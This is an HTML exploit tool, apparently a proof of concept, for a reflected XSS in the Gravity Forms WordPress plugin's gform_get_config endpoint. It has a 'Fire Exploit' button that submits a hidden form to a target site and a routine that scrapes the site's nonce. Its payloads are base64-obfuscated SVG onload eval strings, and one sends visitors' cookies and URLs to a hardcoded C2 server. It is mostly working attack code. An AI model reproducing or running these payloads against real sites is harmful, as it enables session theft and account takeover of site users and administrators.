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| <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Gravity Forms XSS — Exploitation POC</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Courier New', monospace;
background: #0c0c0c;
color: #b0b0b0;
padding: 20px;
}
.header {
border-bottom: 1px solid #222;
padding-bottom: 12px;
margin-bottom: 16px;
}
.header h1 {
font-size: 15px;
color: #e04040;
font-weight: bold;
}
.header p {
font-size: 11px;
color: #555;
margin-top: 4px;
}
.config {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 10px;
margin-bottom: 16px;
}
.config label {
display: block;
font-size: 10px;
color: #666;
text-transform: uppercase;
letter-spacing: 1px;
margin-bottom: 3px;
}
.config input, .config select {
width: 100%;
padding: 7px 9px;
background: #141414;
border: 1px solid #2a2a2a;
color: #d0d0d0;
font-family: inherit;
font-size: 12px;
border-radius: 2px;
}
.config input:focus, .config select:focus {
outline: none;
border-color: #e04040;
}
.full-width { grid-column: 1 / -1; }
.actions {
display: flex;
gap: 8px;
margin-bottom: 16px;
}
button {
padding: 8px 16px;
font-family: inherit;
font-size: 12px;
border: none;
border-radius: 2px;
cursor: pointer;
font-weight: bold;
}
.btn-fire {
background: #e04040;
color: #fff;
}
.btn-fire:hover { background: #c03030; }
.btn-secondary {
background: #222;
color: #999;
border: 1px solid #333;
}
.btn-secondary:hover { background: #2a2a2a; color: #ccc; }
.log-area {
background: #0a0a0a;
border: 1px solid #1a1a1a;
border-radius: 2px;
padding: 12px;
font-size: 11px;
line-height: 1.7;
max-height: 180px;
overflow-y: auto;
margin-bottom: 16px;
white-space: pre-wrap;
word-break: break-all;
}
.log-info { color: #4a9eff; }
.log-ok { color: #40c040; }
.log-warn { color: #e0a020; }
.log-vuln { color: #e04040; }
.frame-container {
border: 1px solid #222;
border-radius: 2px;
overflow: hidden;
}
.frame-label {
background: #141414;
padding: 6px 10px;
font-size: 10px;
color: #555;
text-transform: uppercase;
letter-spacing: 1px;
border-bottom: 1px solid #222;
display: flex;
justify-content: space-between;
}
.frame-label .origin { color: #e04040; }
iframe {
width: 100%;
height: 400px;
border: none;
background: #fff;
}
.payload-info {
margin-top: 16px;
padding: 10px;
background: #0f0f0f;
border: 1px solid #1a1a1a;
border-radius: 2px;
font-size: 11px;
}
.payload-info summary {
color: #666;
cursor: pointer;
font-size: 10px;
text-transform: uppercase;
letter-spacing: 1px;
}
.payload-info pre {
margin-top: 8px;
color: #888;
line-height: 1.6;
white-space: pre-wrap;
}
</style>
</head>
<body>
<div class="header">
<h1>Gravity Forms — Reflected XSS via gform_get_config</h1>
<p>POST /wp-admin/admin-ajax.php · form_ids parameter · Unescaped reflection in text/html response</p>
</div>
<div class="config">
<div>
<label>Target URL</label>
<input type="text" id="targetUrl" value="https://website.com">
</div>
<div>
<label>Config Nonce</label>
<input type="text" id="nonce" value="9308d72c0a" placeholder="Auto-fetched if blank">
</div>
<div class="full-width">
<label>Payload</label>
<select id="payloadSelect" onchange="updatePayload()">
<option value="alert_domain">alert(document.domain) — Domain proof</option>
<option value="alert_cookies">alert(domain + cookies) — Session data proof</option>
<option value="exfil_c2">Exfil cookies to C2 callback</option>
<option value="dom_takeover" selected>DOM takeover overlay — Visual proof</option>
<option value="custom">Custom payload</option>
</select>
</div>
<div class="full-width">
<label>Raw Payload (editable)</label>
<input type="text" id="payloadRaw" value="">
</div>
</div>
<div class="actions">
<button class="btn-fire" onclick="fireExploit()">Fire Exploit</button>
<button class="btn-secondary" onclick="refreshNonce()">Refresh Nonce</button>
<button class="btn-secondary" onclick="clearLog()">Clear Log</button>
</div>
<div class="log-area" id="logArea"></div>
<div class="frame-container">
<div class="frame-label">
<span>Exploit delivers via popup window (X-Frame-Options: SAMEORIGIN blocks iframe rendering)</span>
<span class="origin" id="frameOrigin"></span>
</div>
<div style="padding: 24px; text-align: center; color: #444; font-size: 12px;">
XSS payload renders in a new window in the target's origin context.<br>
Ensure your browser allows popups for this page.
</div>
</div>
<details class="payload-info">
<summary>Vulnerability Details</summary>
<pre>
Endpoint: POST /wp-admin/admin-ajax.php
Action: gform_get_config
Parameter: args → form_ids[] (JSON array value)
Reflection: Unescaped in text/html response body
Context: JSON key inside <!-- gf:json_start --> ... <!-- gf:json_end -->
Impact: Full JavaScript execution in victim's browser session
Prereqs: Valid config_nonce (publicly available on any page with a GF form)
CVSS 3.1: 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Response sample:
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"PAYLOAD":null}}}}}<!-- gf:json_end -->
</pre>
</details>
<script>
const C2_URL = 'https://anthonycihan.com:8080';
// For complex payloads, base64-encode the JS and stash it in the SVG id attribute.
// The onload handler reads this.id, decodes, and evals. Zero quotes needed.
function b64Payload(js) {
const encoded = btoa(js);
return '<svg id=' + encoded + ' onload=eval(atob(this.id))>';
}
const payloads = {
alert_domain: '<svg onload=alert(document.domain)>',
alert_cookies: b64Payload('alert(document.domain+"\\n"+document.cookie)'),
exfil_c2: b64Payload(`new Image().src="${C2_URL}/xss?d="+document.domain+"&c="+btoa(document.cookie)+"&u="+btoa(location.href)`),
dom_takeover: b64Payload(`
var d=document.createElement("div");
d.style.cssText="position:fixed;top:0;left:0;width:100vw;height:100vh;background:#0c0c0c;color:#00ff41;font-family:monospace;padding:50px;z-index:999999;display:flex;flex-direction:column;gap:16px";
d.innerHTML="<h1 style=\\"color:#e04040;font-size:28px\\">XSS EXPLOITATION VERIFIED</h1>"
+"<hr style=\\"border-color:#333\\">"
+"<p>Domain: "+document.domain+"</p>"
+"<p>Cookies: "+document.cookie+"</p>"
+"<p>Origin: "+location.origin+"</p>"
+"<p>URL: "+location.href+"</p>"
+"<p>Referrer: "+document.referrer+"</p>"
+"<p>User-Agent: "+navigator.userAgent+"</p>"
+"<p>Timestamp: "+new Date().toISOString()+"</p>"
+"<hr style=\\"border-color:#333\\">"
+"<p style=\\"color:#555\\">Gravity Forms gform_get_config reflected XSS — form_ids parameter</p>";
document.body.innerHTML="";
document.body.appendChild(d);
`),
custom: ''
};
function updatePayload() {
const sel = document.getElementById('payloadSelect').value;
const raw = document.getElementById('payloadRaw');
if (sel === 'custom') {
raw.value = '';
raw.focus();
} else {
raw.value = payloads[sel];
}
}
// Initialize
updatePayload();
function log(msg, cls) {
const el = document.getElementById('logArea');
const ts = new Date().toLocaleTimeString();
el.innerHTML += `<span style="color:#333">${ts}</span> <span class="${cls}">${escHtml(msg)}</span>\n`;
el.scrollTop = el.scrollHeight;
}
function clearLog() {
document.getElementById('logArea').innerHTML = '';
}
function escHtml(s) {
return s.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
}
async function refreshNonce() {
const base = document.getElementById('targetUrl').value.replace(/\/+$/, '');
log('Fetching fresh nonce from ' + base + '/request-quote/ ...', 'log-info');
try {
// Attempt direct fetch (will work if same-origin or CORS allows)
const resp = await fetch(base + '/request-quote/', { mode: 'cors', credentials: 'include' });
const html = await resp.text();
const match = html.match(/"config_nonce":"([a-f0-9]+)"/);
if (match) {
document.getElementById('nonce').value = match[1];
log('Nonce updated: ' + match[1], 'log-ok');
} else {
log('Could not extract nonce from response', 'log-warn');
}
} catch (e) {
log('CORS blocked direct fetch. Use curl to get a fresh nonce:', 'log-warn');
log('curl -sk "' + base + '/request-quote/" | grep -oP \'"config_nonce":"\\K[a-f0-9]+\'', 'log-info');
}
}
function fireExploit() {
const base = document.getElementById('targetUrl').value.replace(/\/+$/, '');
const nonce = document.getElementById('nonce').value.trim();
const payload = document.getElementById('payloadRaw').value;
const ajaxUrl = base + '/wp-admin/admin-ajax.php';
if (!payload) {
log('No payload set. Select or enter a payload first.', 'log-warn');
return;
}
log('Target: ' + ajaxUrl, 'log-info');
log('Nonce: ' + (nonce || '(none)'), 'log-info');
log('Payload: ' + payload, 'log-info');
log('Building form and submitting to target ...', 'log-info');
// Remove any previous exploit form
const prev = document.getElementById('exploitForm');
if (prev) prev.remove();
// Open a target window first (must be in click handler to avoid popup blocker)
const xssWin = window.open('about:blank', 'xssWindow', 'width=900,height=600,scrollbars=yes');
if (!xssWin) {
log('Popup blocked! Allow popups for this page and try again.', 'log-warn');
return;
}
// Build and submit the form targeting the popup window
const form = document.createElement('form');
form.id = 'exploitForm';
form.method = 'POST';
form.action = ajaxUrl;
form.enctype = 'multipart/form-data';
form.target = 'xssWindow';
form.style.display = 'none';
const fields = {
'action': 'gform_get_config',
'args': '{"form_ids":["' + payload + '"]}',
'config_path': 'gform_theme_config/common/form/pagination/3',
'query_string': ''
};
if (nonce) {
fields['gform_ajax_nonce'] = nonce;
}
for (const [name, value] of Object.entries(fields)) {
const input = document.createElement('textarea');
input.name = name;
input.textContent = value;
input.style.display = 'none';
form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
log('Form submitted → response loading in popup window', 'log-ok');
log('If XSS fires, the payload executes in the context of: ' + new URL(ajaxUrl).origin, 'log-vuln');
// Update origin display
document.getElementById('frameOrigin').textContent = new URL(ajaxUrl).origin;
}
</script>
</body>
</html>
|
